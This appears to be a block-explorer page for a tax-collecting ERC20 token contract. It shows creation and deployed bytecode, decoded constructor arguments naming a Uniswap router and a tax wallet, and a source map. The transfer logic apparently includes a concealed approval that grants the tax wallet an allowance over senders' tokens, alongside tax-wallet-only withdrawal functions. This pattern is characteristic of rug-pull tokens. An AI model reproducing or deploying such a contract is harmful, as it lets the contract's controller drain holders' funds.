815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610ffe8484610a72565b90505f19811461081157818110156110585760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610794565b6108118484848403610ed0565b6001600160a01b03831661108b5760405162461bcd60e51b815260040161079490611d51565b6001600160a01b0382166110b15760405162461bcd60e51b815260040161079490611d96565b5f81116111195760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610794565b6008545f906001600160a01b0385811691161480159061114757506008546001600160a01b03848116911614155b600b80546001600160a01b0319166001600160a01b038781169182179092556008546016805462ff000019169184169092146201000002179055600554919250166001600160a01b0316846001600160a01b0316141580156111b757506005546001600160a01b03848116911614155b80156111ce57506001600160a01b03831661dead14155b80156111e25750601654610100900460ff16155b156114ea576111f0826118f7565b80156111ff575060165460ff16155b15611286576001600160a01b0384165f9081526006602052604090205460ff168061124157506001600160a01b0383165f9081526006602052604090205460ff165b6112865760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610794565b6008546001600160a01b0385811691161480156112bb57506001600160a01b0383165f9081526007602052604090205460ff16155b156113b257600d548211156113305760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610794565b600e546001600160a01b0384165f908152602081905260409020546113559084611c8c565b11156113995760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610794565b60158054905f6113a883611dd9565b91905055506114ea565b6008546001600160a01b0384811691161480156113e757506001600160a01b0384165f9081526007602052604090205460ff16155b1561146257600d5482111561145d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610794565b6114ea565b6001600160a01b0383165f9081526007602052604090205460ff166114ea57600e546001600160a01b0384165f908152602081905260409020546114a69084611c8c565b11156114ea5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610794565b80158080156115015750601654610100900460ff16155b801561151b57506008546001600160a01b03868116911614155b801561153f57506001600160a01b0385165f9081526006602052604090205460ff16155b801561156357506001600160a01b0384165f9081526006602052604090205460ff16155b1561158c576016805461ff00191661010017905561158083611934565b6016805461ff00191690555b6016545f90610100900460ff161580156115a4575082155b6001600160a01b0387165f9081526006602052604090205490915060ff16806115e457506001600160a01b0385165f9081526006602052604090205460ff165b156115ec57505f5b5f8115611682576008546001600160a01b039081169087160361163c57611635606461162f6014546015541161162457601154611628565b6013545b889061198f565b906119a1565b9050611664565b611661606461162f6014546015541161165757601154611628565b601254889061198f565b90505b8015611675576116758730836119ac565b61167f8186611df1565b94505b61168d8787876119ac565b50505050505050565b6005546001600160a01b031633146108285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061177457611774611e04565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118149190611d0b565b8160018151811061182757611827611e04565b60200260200101906001600160a01b031690816001600160a01b031681525050611872307f000000000000000000000000000000000000000000000000000000000000000084610ed0565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906118c69085905f90869030904290600401611e18565b5f604051808303815f87803b1580156118dd575f80fd5b505af11580156118ef573d5f803e3d5ffd5b505050505050565b6016545f9062010000900460ff1615810361192c57600b54600a5460105461192c926001600160a01b03908116921690610ed0565b506001919050565b305f908152602081905260408120549081158015906119545750600f5482105b15611960575080611976565b600f548311156119735750600f54611976565b50815b81156119855761198581611741565b4761081181611ad4565b5f61199a8284611cd5565b9392505050565b5f61199a8284611cec565b6001600160a01b0383166119d25760405162461bcd60e51b815260040161079490611d51565b6001600160a01b0382166119f85760405162461bcd60e51b815260040161079490611d96565b6001600160a01b0383165f9081526020819052604090205481811015611a6f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610794565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610811565b600a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611b0b573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b81811015611b3b57858101830151858201604001528201611b1f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108e6575f80fd5b5f8060408385031215611b80575f80fd5b8235611b8b81611b5b565b946020939093013593505050565b5f805f60608486031215611bab575f80fd5b8335611bb681611b5b565b92506020840135611bc681611b5b565b929592945050506040919091013590565b5f60208284031215611be7575f80fd5b813561199a81611b5b565b5f60208284031215611c02575f80fd5b5035919050565b5f8060408385031215611c1a575f80fd5b8235611c2581611b5b565b91506020830135611c3581611b5b565b809150509250929050565b600181811c90821680611c5457607f821691505b602082108103611c7257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561067f5761067f611c78565b5f60208284031215611caf575f80fd5b5051919050565b5f60208284031215611cc6575f80fd5b8151801515811461199a575f80fd5b808202811582820484141761067f5761067f611c78565b5f82611d0657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611d1b575f80fd5b815161199a81611b5b565b5f805f60608486031215611d38575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f60018201611dea57611dea611c78565b5060010190565b8181038181111561067f5761067f611c78565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611e685784516001600160a01b031683529383019391830191600101611e43565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204087c08caa938a15e736ec8e21de3455d6789c7882ebc1b5a267b70cf4686ba864736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000aa2ec4a02828893898729d716b9163f3ba157911
Deployed Bytecode
0x6080604052600436106101f4575f3560e01c80638d275bc911610108578063af465a271161009d578063dd62ed3e1161006d578063dd62ed3e14610542578063e8078d9414610561578063edae876f14610575578063f2578062146105a8578063f2fde38b146105bd575f80fd5b8063af465a27146104da578063afa4f3b2146104ef578063b70143c91461050e578063ca7030751461052d575f80fd5b8063996bd7f0116100d8578063996bd7f0146104725780639c00316e14610487578063a457c2d71461049c578063a9059cbb146104bb575f80fd5b80638d275bc9146104045780638da5cb5b1461041857806395d89b411461044957806396779dea1461045d575f80fd5b8063395093511161018957806370a082311161015957806370a082311461037f578063715018a6146103b3578063751039fc146103c757806383cfca03146103db5780638a8c523c146103f0575f80fd5b806339509351146102f357806347062402146103125780634be55d1f146103275780634fbee19314610348575f80fd5b806318160ddd116101c457806318160ddd1461029057806323b872dd146102a45780632b14ca56146102c3578063313ce567146102d8575f80fd5b806301f59d16146101ff57806305f62cf71461022757806306fdde0314610250578063095ea7b314610271575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061021460105481565b6040519081526020015b60405180910390f35b348015610232575f80fd5b506016546102409060ff1681565b604051901515815260200161021e565b34801561025b575f80fd5b506102646105dc565b60405161021e9190611b0f565b34801561027c575f80fd5b5061024061028b366004611b6f565b61066c565b34801561029b575f80fd5b50600254610214565b3480156102af575f80fd5b506102406102be366004611b99565b610685565b3480156102ce575f80fd5b5061021460135481565b3480156102e3575f80fd5b506040516009815260200161021e565b3480156102fe575f80fd5b5061024061030d366004611b6f565b6106a8565b34801561031d575f80fd5b5061021460125481565b348015610332575f80fd5b50610346610341366004611bd7565b6106c9565b005b348015610353575f80fd5b50610240610362366004611bd7565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561038a575f80fd5b50610214610399366004611bd7565b6001600160a01b03165f9081526020819052604090205490565b3480156103be575f80fd5b50610346610817565b3480156103d2575f80fd5b5061034661082a565b3480156103e6575f80fd5b50610214600e5481565b3480156103fb575f80fd5b5061034661083f565b34801561040f575f80fd5b50610346610856565b348015610423575f80fd5b506005546001600160a01b03165b6040516001600160a01b03909116815260200161021e565b348015610454575f80fd5b506102646108e9565b348015610468575f80fd5b50610214600f5481565b34801561047d575f80fd5b5061021460145481565b348015610492575f80fd5b5061021460115481565b3480156104a7575f80fd5b506102406104b6366004611b6f565b6108f8565b3480156104c6575f80fd5b506102406104d5366004611b6f565b610972565b3480156104e5575f80fd5b50610214600c5481565b3480156104fa575f80fd5b50610346610509366004611bf2565b61097f565b348015610519575f80fd5b50610346610528366004611bf2565b61099f565b348015610538575f80fd5b5061021460155481565b34801561054d575f80fd5b5061021461055c366004611c09565b610a72565b34801561056c575f80fd5b50610346610a9c565b348015610580575f80fd5b506104317f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156105b3575f80fd5b50610214600d5481565b3480156105c8575f80fd5b506103466105d7366004611bd7565b610e5a565b6060600380546105eb90611c40565b80601f016020809104026020016040519081016040528092919081815260200182805461061790611c40565b80156106625780601f1061063957610100808354040283529160200191610662565b820191905f5260205f20905b81548152906001019060200180831161064557829003601f168201915b5050505050905090565b5f33610679818585610ed0565b60019150505b92915050565b5f33610692858285610ff3565b61069d858585611065565b506001949350505050565b5f336106798185856106ba8383610a72565b6106c49190611c8c565b610ed0565b6009546001600160a01b0316336001600160a01b0316146106e8575f80fd5b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561072e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107529190611c9f565b90505f811161079d5760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60095460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af11580156107ed573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108119190611cb6565b50505050565b61081f611696565b6108285f6116f0565b565b610832611696565b600254600e819055600d55565b610847611696565b6016805460ff19166001179055565b6009546001600160a01b0316336001600160a01b031614610875575f80fd5b5f47116108bd5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610794565b60405133904780156108fc02915f818181858888f193505050501580156108e6573d5f803e3d5ffd5b50565b6060600480546105eb90611c40565b5f33816109058286610a72565b9050838110156109655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610794565b61069d8286868403610ed0565b5f33610679818585611065565b610987611696565b61099981670de0b6b3a7640000611cd5565b600f5550565b6009546001600160a01b0316336001600160a01b0316146109be575f80fd5b5f6109c860025490565b305f9081526020819052604081205491925060648490036109ea575080610a0d565b60646109f68585611cd5565b610a009190611cec565b905081811115610a0d5750805b81811115610a695760405162461bcd60e51b8152602060048201526024808201527f5377617020616d6f756e74206578636565647320636f6e74726163742062616c604482015263616e636560e01b6064820152608401610794565b61081181611741565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610aa4611696565b60165460ff1615610af75760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610794565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b779190611d0b565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c069190611d0b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610c50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c749190611d0b565b600880546001600160a01b0319166001600160a01b039290921691821790555f908152600760205260409020805460ff19166001179055610cd7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d5f19610ed0565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7194730610d26306001600160a01b03165f9081526020819052604090205490565b5f80610d3a6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610da0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dc59190611d26565b5050604051636eb1769f60e11b815230600482018190526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d166024830152915063dd62ed3e90604401602060405180830381865afa158015610e31573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e559190611c9f565b601055565b610e62611696565b6001600160a01b038116610ec75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b6108e6816116f0565b6001600160a01b038316610f325760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610794565b6001600160a01b038216610f935760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610794565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610ffe8484610a72565b90505f19811461081157818110156110585760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610794565b6108118484848403610ed0565b6001600160a01b03831661108b5760405162461bcd60e51b815260040161079490611d51565b6001600160a01b0382166110b15760405162461bcd60e51b815260040161079490611d96565b5f81116111195760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610794565b6008545f906001600160a01b0385811691161480159061114757506008546001600160a01b03848116911614155b600b80546001600160a01b0319166001600160a01b038781169182179092556008546016805462ff000019169184169092146201000002179055600554919250166001600160a01b0316846001600160a01b0316141580156111b757506005546001600160a01b03848116911614155b80156111ce57506001600160a01b03831661dead14155b80156111e25750601654610100900460ff16155b156114ea576111f0826118f7565b80156111ff575060165460ff16155b15611286576001600160a01b0384165f9081526006602052604090205460ff168061124157506001600160a01b0383165f9081526006602052604090205460ff165b6112865760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610794565b6008546001600160a01b0385811691161480156112bb57506001600160a01b0383165f9081526007602052604090205460ff16155b156113b257600d548211156113305760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610794565b600e546001600160a01b0384165f908152602081905260409020546113559084611c8c565b11156113995760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610794565b60158054905f6113a883611dd9565b91905055506114ea565b6008546001600160a01b0384811691161480156113e757506001600160a01b0384165f9081526007602052604090205460ff16155b1561146257600d5482111561145d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610794565b6114ea565b6001600160a01b0383165f9081526007602052604090205460ff166114ea57600e546001600160a01b0384165f908152602081905260409020546114a69084611c8c565b11156114ea5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610794565b80158080156115015750601654610100900460ff16155b801561151b57506008546001600160a01b03868116911614155b801561153f57506001600160a01b0385165f9081526006602052604090205460ff16155b801561156357506001600160a01b0384165f9081526006602052604090205460ff16155b1561158c576016805461ff00191661010017905561158083611934565b6016805461ff00191690555b6016545f90610100900460ff161580156115a4575082155b6001600160a01b0387165f9081526006602052604090205490915060ff16806115e457506001600160a01b0385165f9081526006602052604090205460ff165b156115ec57505f5b5f8115611682576008546001600160a01b039081169087160361163c57611635606461162f6014546015541161162457601154611628565b6013545b889061198f565b906119a1565b9050611664565b611661606461162f6014546015541161165757601154611628565b601254889061198f565b90505b8015611675576116758730836119ac565b61167f8186611df1565b94505b61168d8787876119ac565b50505050505050565b6005546001600160a01b031633146108285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061177457611774611e04565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118149190611d0b565b8160018151811061182757611827611e04565b60200260200101906001600160a01b031690816001600160a01b031681525050611872307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610ed0565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906118c69085905f90869030904290600401611e18565b5f604051808303815f87803b1580156118dd575f80fd5b505af11580156118ef573d5f803e3d5ffd5b505050505050565b6016545f9062010000900460ff1615810361192c57600b54600a5460105461192c926001600160a01b03908116921690610ed0565b506001919050565b305f908152602081905260408120549081158015906119545750600f5482105b15611960575080611976565b600f548311156119735750600f54611976565b50815b81156119855761198581611741565b4761081181611ad4565b5f61199a8284611cd5565b9392505050565b5f61199a8284611cec565b6001600160a01b0383166119d25760405162461bcd60e51b815260040161079490611d51565b6001600160a01b0382166119f85760405162461bcd60e51b815260040161079490611d96565b6001600160a01b0383165f9081526020819052604090205481811015611a6f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610794565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610811565b600a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611b0b573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b81811015611b3b57858101830151858201604001528201611b1f565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108e6575f80fd5b5f8060408385031215611b80575f80fd5b8235611b8b81611b5b565b946020939093013593505050565b5f805f60608486031215611bab575f80fd5b8335611bb681611b5b565b92506020840135611bc681611b5b565b929592945050506040919091013590565b5f60208284031215611be7575f80fd5b813561199a81611b5b565b5f60208284031215611c02575f80fd5b5035919050565b5f8060408385031215611c1a575f80fd5b8235611c2581611b5b565b91506020830135611c3581611b5b565b809150509250929050565b600181811c90821680611c5457607f821691505b602082108103611c7257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561067f5761067f611c78565b5f60208284031215611caf575f80fd5b5051919050565b5f60208284031215611cc6575f80fd5b8151801515811461199a575f80fd5b808202811582820484141761067f5761067f611c78565b5f82611d0657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611d1b575f80fd5b815161199a81611b5b565b5f805f60608486031215611d38575f80fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f60018201611dea57611dea611c78565b5060010190565b8181038181111561067f5761067f611c78565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611e685784516001600160a01b031683529383019391830191600101611e43565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204087c08caa938a15e736ec8e21de3455d6789c7882ebc1b5a267b70cf4686ba864736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000aa2ec4a02828893898729d716b9163f3ba157911
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : taxWallet (address): 0xAa2eC4A02828893898729D716b9163f3Ba157911
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000aa2ec4a02828893898729d716b9163f3ba157911
Deployed Bytecode Sourcemap
12557:8761:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15342:21;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;15342:21:0;;;;;;;;15545:36;;;;;;;;;;-1:-1:-1;15545:36:0;;;;;;;;;;;361:14:1;;354:22;336:41;;324:2;309:18;15545:36:0;196:187:1;7296:100:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8301:226::-;;;;;;;;;;-1:-1:-1;8301:226:0;;;;;:::i;:::-;;:::i;7617:108::-;;;;;;;;;;-1:-1:-1;7705:12:0;;7617:108;;8535:302;;;;;;;;;;-1:-1:-1;8535:302:0;;;;;:::i;:::-;;:::i;15439:26::-;;;;;;;;;;;;;;;;19309:92;;;;;;;;;;-1:-1:-1;19309:92:0;;12770:1;2000:36:1;;1988:2;1973:18;19309:92:0;1858:184:1;8845:263:0;;;;;;;;;;-1:-1:-1;8845:263:0;;;;;:::i;:::-;;:::i;15407:25::-;;;;;;;;;;;;;;;;13165:349;;;;;;;;;;-1:-1:-1;13165:349:0;;;;;:::i;:::-;;:::i;:::-;;15648:132;;;;;;;;;;-1:-1:-1;15648:132:0;;;;;:::i;:::-;-1:-1:-1;;;;;15738:34:0;15714:4;15738:34;;;:25;:34;;;;;;;;;15648:132;7733:143;;;;;;;;;;-1:-1:-1;7733:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7850:18:0;7823:7;7850:18;;;;;;;;;;;;7733:143;6335:103;;;;;;;;;;;;;:::i;20514:130::-;;;;;;;;;;;;;:::i;13769:68::-;;;;;;;;;;;;;;;;20280:86;;;;;;;;;;;;;:::i;20045:227::-;;;;;;;;;;;;;:::i;6100:87::-;;;;;;;;;;-1:-1:-1;6173:6:0;;-1:-1:-1;;;;;6173:6:0;6100:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6100:87:0;2299:203:1;7404:104:0;;;;;;;;;;;;;:::i;13844:66::-;;;;;;;;;;;;;;;;15472:30;;;;;;;;;;;;;;;;15370;;;;;;;;;;;;;;;;9116:498;;;;;;;;;;-1:-1:-1;9116:498:0;;;;;:::i;:::-;;:::i;7884:225::-;;;;;;;;;;-1:-1:-1;7884:225:0;;;;;:::i;:::-;;:::i;13626:56::-;;;;;;;;;;;;;;;;20376:130;;;;;;;;;;-1:-1:-1;20376:130:0;;;;;:::i;:::-;;:::i;18594:709::-;;;;;;;;;;-1:-1:-1;18594:709:0;;;;;:::i;:::-;;:::i;15509:27::-;;;;;;;;;;;;;;;;8117:176;;;;;;;;;;-1:-1:-1;8117:176:0;;;;;:::i;:::-;;:::i;14669:665::-;;;;;;;;;;;;;:::i;12985:43::-;;;;;;;;;;;;;;;13689:73;;;;;;;;;;;;;;;;6446:238;;;;;;;;;;-1:-1:-1;6446:238:0;;;;;:::i;:::-;;:::i;7296:100::-;7350:13;7383:5;7376:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7296:100;:::o;8301:226::-;8409:4;308:10;8465:32;308:10;8481:7;8490:6;8465:8;:32::i;:::-;8515:4;8508:11;;;8301:226;;;;;:::o;8535:302::-;8666:4;308:10;8724:38;8740:4;308:10;8755:6;8724:15;:38::i;:::-;8773:34;8790:4;8796:2;8800:6;8773:16;:34::i;:::-;-1:-1:-1;8825:4:0;;8535:302;-1:-1:-1;;;;8535:302:0:o;8845:263::-;8958:4;308:10;9014:64;308:10;9030:7;9067:10;9039:25;308:10;9030:7;9039:9;:25::i;:::-;:38;;;;:::i;:::-;9014:8;:64::i;13165:349::-;13259:14;;-1:-1:-1;;;;;13259:14:0;308:10;-1:-1:-1;;;;;13243:30:0;;13235:39;;;;;;13357:38;;-1:-1:-1;;;13357:38:0;;13389:4;13357:38;;;2445:51:1;13315:12:0;;13285:20;;-1:-1:-1;;;;;13357:23:0;;;;;2418:18:1;;13357:38:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13339:56;;13424:1;13414:7;:11;13406:42;;;;-1:-1:-1;;;13406:42:0;;4357:2:1;13406:42:0;;;4339:21:1;4396:2;4376:18;;;4369:30;-1:-1:-1;;;4415:18:1;;;4408:48;4473:18;;13406:42:0;;;;;;;;;13482:14;;13459:47;;-1:-1:-1;;;13459:47:0;;-1:-1:-1;;;;;13482:14:0;;;13459:47;;;4676:51:1;4743:18;;;4736:34;;;13459:22:0;;;;;;4649:18:1;;13459:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13224:290;;13165:349;:::o;6335:103::-;6059:13;:11;:13::i;:::-;6400:30:::1;6427:1;6400:18;:30::i;:::-;6335:103::o:0;20514:130::-;6059:13;:11;:13::i;:::-;7705:12;;20598:22:::1;:38:::0;;;20568:27:::1;:68:::0;20514:130::o;20280:86::-;6059:13;:11;:13::i;:::-;20335:16:::1;:23:::0;;-1:-1:-1;;20335:23:0::1;20354:4;20335:23;::::0;;20280:86::o;20045:227::-;20116:14;;-1:-1:-1;;;;;20116:14:0;308:10;-1:-1:-1;;;;;20100:30:0;;20092:39;;;;;;20174:1;20150:21;:25;20142:60;;;;-1:-1:-1;;;20142:60:0;;5265:2:1;20142:60:0;;;5247:21:1;5304:2;5284:18;;;5277:30;-1:-1:-1;;;5323:18:1;;;5316:52;5385:18;;20142:60:0;5063:346:1;20142:60:0;20213:51;;20221:10;;20242:21;20213:51;;;;;;;;;20242:21;20221:10;20213:51;;;;;;;;;;;;;;;;;;;;;20045:227::o;7404:104::-;7460:13;7493:7;7486:14;;;;;:::i;9116:498::-;9234:4;308:10;9234:4;9317:25;308:10;9334:7;9317:9;:25::i;:::-;9290:52;;9395:15;9375:16;:35;;9353:122;;;;-1:-1:-1;;;9353:122:0;;5616:2:1;9353:122:0;;;5598:21:1;5655:2;5635:18;;;5628:30;5694:34;5674:18;;;5667:62;-1:-1:-1;;;5745:18:1;;;5738:35;5790:19;;9353:122:0;5414:401:1;9353:122:0;9511:60;9520:5;9527:7;9555:15;9536:16;:34;9511:8;:60::i;7884:225::-;7988:4;308:10;8044:35;308:10;8068:2;8072:6;8044:16;:35::i;20376:130::-;6059:13;:11;:13::i;:::-;20478:20:::1;:7:::0;20489:8:::1;20478:20;:::i;:::-;20454:21;:44:::0;-1:-1:-1;20376:130:0:o;18594:709::-;18675:14;;-1:-1:-1;;;;;18675:14:0;308:10;-1:-1:-1;;;;;18659:30:0;;18651:39;;;;;;18701:25;18729:13;7705:12;;;7617:108;18729:13;18797:4;18753:23;7850:18;;;;;;;;;;;18701:41;;-1:-1:-1;18862:3:0;18851:14;;;18847:275;;-1:-1:-1;18897:15:0;18847:275;;;18992:3;18961:27;18981:7;18961:17;:27;:::i;:::-;18960:35;;;;:::i;:::-;18945:50;;19029:15;19014:12;:30;19010:101;;;-1:-1:-1;19080:15:0;19010:101;19172:15;19156:12;:31;;19134:117;;;;-1:-1:-1;;;19134:117:0;;6417:2:1;19134:117:0;;;6399:21:1;6456:2;6436:18;;;6429:30;6495:34;6475:18;;;6468:62;-1:-1:-1;;;6546:18:1;;;6539:34;6590:19;;19134:117:0;6215:400:1;19134:117:0;19262:33;19282:12;19262:19;:33::i;8117:176::-;-1:-1:-1;;;